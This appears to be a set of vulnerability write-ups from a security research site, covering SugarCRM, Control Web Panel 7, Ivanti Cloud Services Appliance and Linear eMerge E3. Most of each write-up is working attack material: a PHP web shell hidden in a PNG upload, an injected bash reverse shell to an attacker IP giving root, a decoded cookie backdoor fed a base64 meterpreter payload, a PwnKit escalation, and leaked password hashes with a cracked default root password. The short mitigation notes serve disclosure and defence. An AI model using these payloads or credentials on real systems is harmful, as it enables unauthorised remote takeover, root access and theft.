Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec(), passthru(), shell_exec() and system().
See curl examples below.

# echo 'ls -l' | base64 
bHMgLWwK
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -

The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.

Malicious PNG File upload

POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Length: 601
Connection: close

------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="action"

AttachFiles
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="module"

EmailTemplates
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="file"; filename="yohoo.phar"
Content-Type: image/png

PNG

--Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text--
------WebKitFormBoundaryWeTJtA8WByYIQMGR--

Successful response of the upload will show the file entry at end of the response.

HTTP/1.1 200 OK
Date: Wed, 18 Jan 2023 05:55:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 4460
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang='en_us'>
<head>
---- A LOT of HTML CRAP ----
<div id="main">
    <div id="content">
                <table style="width:100%" id="contentTable"><tr><td>
        ["cache\/images\/yohoo.phar"]

Command execution of ls -l

POST /cache/images/yohoo.phar?0=passthru HTTP/1.1
Host:TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

1=bHMgLWwK

Remote command execution response

HTTP/1.1 200 OK
Date: Mon, 16 Jan 2023 16:23:10 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1209
Connection: close
Content-Type: text/html; charset=UTF-8

PNG

--Garbled binary text--total 76
-rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar
--Garbled binary text--

You can of course vary the 0 parameter with other PHP shell command functions such as exec, shell_exec or system.

Evidence of compromise

When you want to check if your system is compromised, please look for unexpected files in the /cache/images/ directory. The published exploit had a filename sweet.phar that was not cleaned. However, attackers have changed these filenames such as imagefile.phar, meow.phar, rvsm.phar, aws.phar, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.

Other evidence might be failed execution request for files under the /cache/images/ directory with the extension php, phar, phtml, php7, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404 – the file was not found or 403 – the access was denied by web server.

Mitigation

Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting file in /cache/images/ directory and/or prevent PHP code execution by updating security settings in the php.ini file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.

I have created a Metasploit module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.

References

Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y

Credits

Credits goes to sw33t.0day below who discovered this vulnerability.

3
Ratings
Technical Analysis

This vulnerability is all about “Why Quotes Matter”

In December 2022, security researcher Numan Türle from Gais Cyber Security discovered an unauthenticated remote code execution vulnerability in the Control Web Panel 7 (CWP) application. They state on their website that CWP is a World Leading advanced Free and PRO web hosting panel that gives you all the flexibility to effectively and efficiently manage your server and clients.

The vulnerability is exposed thru the admin endpoint /login/index.php?login which typically runs on port 2030 or 2086 for http and port 2031 and port 2087 for https. Successful exploitation results in command execution as the root user. CWP versions 0.9.8.1146 and below are vulnerable.

The issue is triggered by the improper use of quotes when a failed login entry is logged in the /var/log/cwp_client_login.log.
The example below shows why the proper usage of quotes is important when applied in a unix shell.

[root@localhost ~]# echo "$(whoami)"
root
[root@localhost ~]# echo '$(whoami)'
$(whoami)
[root@localhost ~]# echo "'$(whoami)'"
'root'
[root@localhost ~]# echo ''$(whoami)''
root

In the first example, the inline bash command $(whoami) gets executed within the echo command using double quotes.
However, if you use single quotes, it is treated as text which is the standard unix shell behavior. But if you try to be smart and put double quotes around the single quotes, it again executes $(whoami) because the single quotes are seen as text if surrounded by double quotes.
This is no secret to experienced unix admins, but typically software developers can be easily tricked when they use underlying unix shell commands and quotes in their programs.

And this is exactly the problem that triggers this vulnerability.
Let’s have a quick look, what is going under the hood….

Take the burp request below, where we will trigger a failed login entry using the existing default user root with a wrong password.

POST /login/index.php?login= HTTP/1.1
Host: 192.168.100.89:2031
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=idonotcare&commit=Login

If we monitor the /var/log/cwp_client_login.log then we can see an failed login entry.

[root@localhost ~]# tail -f /var/log/cwp_client_login.log
2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='

If we do the same burp request, but now with our $(whoami) added.
And surprise, surprise, the whoami command gets executed (see second log entry).

[root@localhost ~]# tail -f /var/log/cwp_client_login.log
2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='
2023-01-14 17:40:25 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=root'

Now lets take a reverse bash shell.

POST /login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1) HTTP/1.1
Host: 192.168.100.89:2031
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=idonotcare&commit=Login

And voila, a reverse shell as root user on the target.

# nc -lnvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.100.89.
Ncat: Connection from 192.168.100.89:51988.
bash: no job control in this shell
[root@localhost login]# whoami
whoami
root
You have new mail in /var/mail/root
[root@localhost login]#

Another interesting piece is that you actually can see the command running in the process list that is writing the log entry to the log file.
You can clearly see the improper use of the double quotes in this command line.

root     12238 12231  0 03:41 ?        00:00:00 sleep 17897
root     12493   910  0 03:43 ?        00:00:37 php-fpm: pool cwpsrv
postfix  27739  1538  0 07:41 ?        00:00:00 pickup -l -t fifo -u -o content_filter= -o receive_override_options=no_header_body_checks
root     29668     2  0 08:02 ?        00:00:00 [kworker/0:3]
root     30160     2  0 08:10 ?        00:00:00 [kworker/0:1]
root     30718     2  0 08:15 ?        00:00:00 [kworker/0:0]
root     30869  7118  0 08:17 ?        00:00:00 sh -c echo "2023-01-14 13:17:46 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1)'" >> /var/log/cwp_client_login.log

If you want to test it yourself, please follow this guidance to build a vulnerable configuration. Please do not expose this to the Internet unless you want to be compromised ;–)
Before you execute step 7. sh cwp-el7-latest, please edit the file and make the following adjustments to download the vulnerable version and prevent the auto update.

nano /usr/local/src/cwp-el7-latest
>>>>>
# wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1148.zip
# unzip -o -q cwp-el7-0.9.8.1148.zip
# rm -f cwp-el7-0.9.8.1148.zip

wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip
unzip -o -q cwp-el7-0.9.8.1146.zip
>>>>>
# update cwp
chmod +x /scripts/cwp_api
# sh /scripts/update_cwp
sh /scripts/cwp_set_memory_limit
>>>>>

After running the installation script which takes about 30 minutes, please rename /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp to update_cwp.something otherwise CWP will get updated to the latest version when you start the application.

Mitigation

The CWP application has an auto update feature that can not be disabled in the application. Therefore the likelihood to find any vulnerable CWP application in the wild is almost zero.

I have created a Metasploit module. A local version of this module can found at the References section.

References

Github
Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researcher below who discovered and analyzed this vulnerability.

2
Ratings
Technical Analysis

During the boring Christmas Days, — those days where you have to sit together, be nice to each other and eat and drink too much —, I stumbled upon this RCE where surprisingly not much was published on the analysis of this vulnerability.
It was discovered in December 2021 by the security researcher Jakub Kramarz and is affecting the Ivanti Cloud Services Appliance for Avanti Endpoint Manager versions before 4.6.0-512.
It allows an unauthenticated user to execute arbitrary code with limited permissions (nobody).

if you read the security advisory, Ivanti Security Advisory 2021-12-02, it mentions that the vulnerable code is located in the /opt/landesk/broker/webroot/lib/csrf-magic.php and the target endpoint is /client/index.php.

To mitigate the issue, make a backup of the file and manually edit as follows: Remove the ten lines near the end of the file that start with “// Obscure Tokens” > but leave in the last 6 lines of code which follow which is the section that starts with “// Load user configuration”.

After some research on the Internet, i managed to lay my hands on a vulnerable virtual appliance and installed it in Virtualbox.
After searching in the file /opt/landesk/broker/webroot/lib/csrf-magic.php, I indeed found the vulnerable code mentioned in the security advisory (see code snippet below)

// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();

Interesting, right? Because it clearly looks like some hidden code…
If you just copy this in a php file and run it you will soon understand that it dynamically generates a function that enables a cookie based RCE.
Note: create_function() is deprecated in PHP 8 and above

<?php
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom)));  // $zmto();

$hvg= $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom));
echo "$lviw\n";
echo "$xytu\n";
echo "$murp\n";
echo "$hvg\n";
echo "$zmto\n";

Output

str_replace
base64_decode
create_function
$c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}
lambda_1

The code line $c='count';$a=$_COOKIE;if(reset($a)=='ab' && $c($a)>3){$k='c123';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} is the one with the logic.

It uses the $_COOKIE as the input and it checks the count of the cookie pairs which should be more then 3 and the first cookie pair value should be ab. If these conditions match it will use the cookie pair value matching the count – 3 containing base64 PHP code , sanitizes the base64 code (remove whitespace etc) and decodes it for execution in the eval function which natively executes PHP code. The result of the command execution can be found in the HTTP response between the tags <c123></c123>.

Some examples of Cookie headers that will work:
Example 1 (count =4) –> payload at 2nd pair: Cookie: hello=ab; exec=<base64 php payload>; cuckoo=; clock=;
Example 2 (count =5) –> payload at 3th pair: Cookie: thisisnice=ab; skipthisone=; executethisone=<base64 php payload>; b=; c=;
Example 3 (count =6) –> payload at 4th pair: Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=<base64 php payload>; b=; c=;

Payload should be native PHP code and base64 encoded.

The most interesting question however is, why this is added to the code? It is a left-over from testing or more likely, a backdoor to get access to the appliances?
I do know the answer, but if you check with Shodan, you will still find more then 2000 of these appliances connected to the Internet from which around 15% still runs this vulnerable version.

Let’s play a bit with Burpsuite to see if the logic works…

Example one – system(“id”);

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; executethisone=c3lzdGVtKCJpZCIpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Output

HTTP/1.1 200 OK
Set-Cookie:LDCSASESSID=ttki9kounanus8fqm19juo3am6; path=/; secure; HttpOnly
Expires:Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma:no-cache
X-Frame-Options:sameorigin
X-Content-Type-Options:nosniff
Strict-Transport-Security:max-age=31536000; includeSubDomains;  preload
X-XSS-Protection:1; mode=block
Referrer-Policy:no-referrer
Content-type:text/html
Content-Length:7161
Date:Sun, 08 Jan 2023 05:29:50 GMT

<c123>uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
</c123>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Ivanti&reg; Cloud Services Appliance
etc....

Example two – php meterpreter

# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.41 LPORT=4444 -f raw | base64

Setup a multi/handler with payload php/meterpreter/reverse_tcp

Burp request

GET /client/index.php HTTP/1.1
Host: 192.168.100.41
Cookie: thisisnice=ab; skipthisone=; alsoskipthisone=; executethisone=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMTAwLjcnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw==; b=; c=;
User-Agent: curl/7.86.0
Accept: */*
Connection: close

Metasploit

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > [*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59422) at 2023-01-08 10:00:10 +0000

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer    : localhost.localdomain
OS          : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >

The appliance has a rich set of tooling such as python, netcat, bash, perl and others installed so the attack surface is pretty broad.
One point of attention however is that the attack surface for the appliances running in the wild might be restricted because of the hardening. For instance, most of the appliances only allow in and outbound traffic on port 80 and 443 (see Hardening CSA appliance).

Additional privilege escalation

If you have established a foothold on the appliance, you can get to root because the underlying CentOS is vulnerable to CVE-2021-4034.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION       1                yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > exploit

[*] Started reverse TCP handler on 192.168.100.7:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.zcbstvgmiy
[+] The target is vulnerable.
[*] Writing '/tmp/.shmkphpno/qwsfmu/qwsfmu.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.shmkphpno
[*] Sending stage (3045348 bytes) to 192.168.100.41
[+] Deleted /tmp/.shmkphpno/qwsfmu/qwsfmu.so
[+] Deleted /tmp/.shmkphpno/.xlfjhsej
[+] Deleted /tmp/.shmkphpno
[*] Meterpreter session 2 opened (192.168.100.7:5555 -> 192.168.100.41:43842) at 2023-01-08 10:25:05 +0000

meterpreter > getuid
Server username: root
meterpreter >

I have created a Metasploit module that has been submitted to the mainstream for production. A local version of this module can found at the References section.

Mitigation

Follow the guidance in security advisory Ivanti Security Advisory 2021-12-02.

References

Ivanti Security Advisory 2021-12-02
Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researchers below who discovered and analyzed this vulnerability.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

In my article cve-2019-7256 at attackerkb.com, I already elaborated on the security risks and vulnerabilities that still exists on the Linear eMerge E3 access controller.
Beside the RCE vulnerabilities, also default credentials exist within the vulnerable configuration that can be easily leveraged to gain privileged access to the system.

There are two significant vulnerabilities:
The first one is based on a default root password that is a stored in the /etc/passwd and is available on the vulnerable configuration. This can be used to escalate to root privileges using the RCE vulnerability CVE-2019-7256 or use these credentials in combination with ssh (if enabled) to get root access to the access controller.
The second credential vulnerability allows an unauthenticated malicious actor to obtain the web credentials for user admin from the spider database that is accessible and readable for the world on the access controller. With this access, the malicious actor is able to control the Linear eMerge E3 access platform, the access to building and its cameras and the authority to manage the access rights of users.

Lets quickly demonstrate both vulnerabilities…

We assume that we have already gained access to the system using the RCE described in CVE-2019-7256

ls -l /etc/passwd
-rwxr--r--    1 e3user   linear         733 Nov 13  2012 /etc/passwd
cat /etc/passwd
root:$1$VVtYRWvv$gyIQsOnvSv53KQwzEfZpJ0:0:100:root:/root:/bin/sh
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/home/default:
e3user:$1$vR6H2PUd$52r03jiYrM6m5Bff03yT0/:1000:1000:Linux User,,,:/home/e3user:/bin/sh
lighttpd:$1$vqbixaUx$id5O6Pnoi5/fXQzE484CP1:1001:1000:Linux User,,,:/home/lighttpd:/bin/sh

AS you can see is the default root password hash stored directly in /etc/passwd and readable for world. Normally, these password hashes are stored in a /etc/shadow file that is only readable for root. With this configuration, It is very easy to retrieve the hash and run a password dictionary or brute force attack with for instance hashcat to retrieve the password. And do not worry, somebody did this job already in 2019 ;–) –> davestyle.

To test if the root default password is available…

echo davestyle | su -c whoami
root

The second credential vulnerability can be exploited by querying the spider access controller database which has the user and password information stored in clear text.

This database resides in /tmp/SpiderDB/Spider.db and with the command below you can very easily retrieve the admin web credentials.

grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID
ID='admin',Password='xxxxxxx'

And if this is not successful, you can always try the default web credential setting admin:admin

Another Metasploit module to test the availability of the default root password and leak the admin web credentials has been submitted to the Metasploit mainstream.

Mitigation

Change the default root password on your access controller.
Update your Linear eMerge E3 access controller to a higher version then 1.00-06.

References

Nortek Linear eMerge E3-Series 1.00-06 Multiple Vulnerabilities
Packet storm

Credits

Credits goes to the security researcher below who discovered these vulnerabilities.
Gjoko ‘LiquidWorm’ Krstic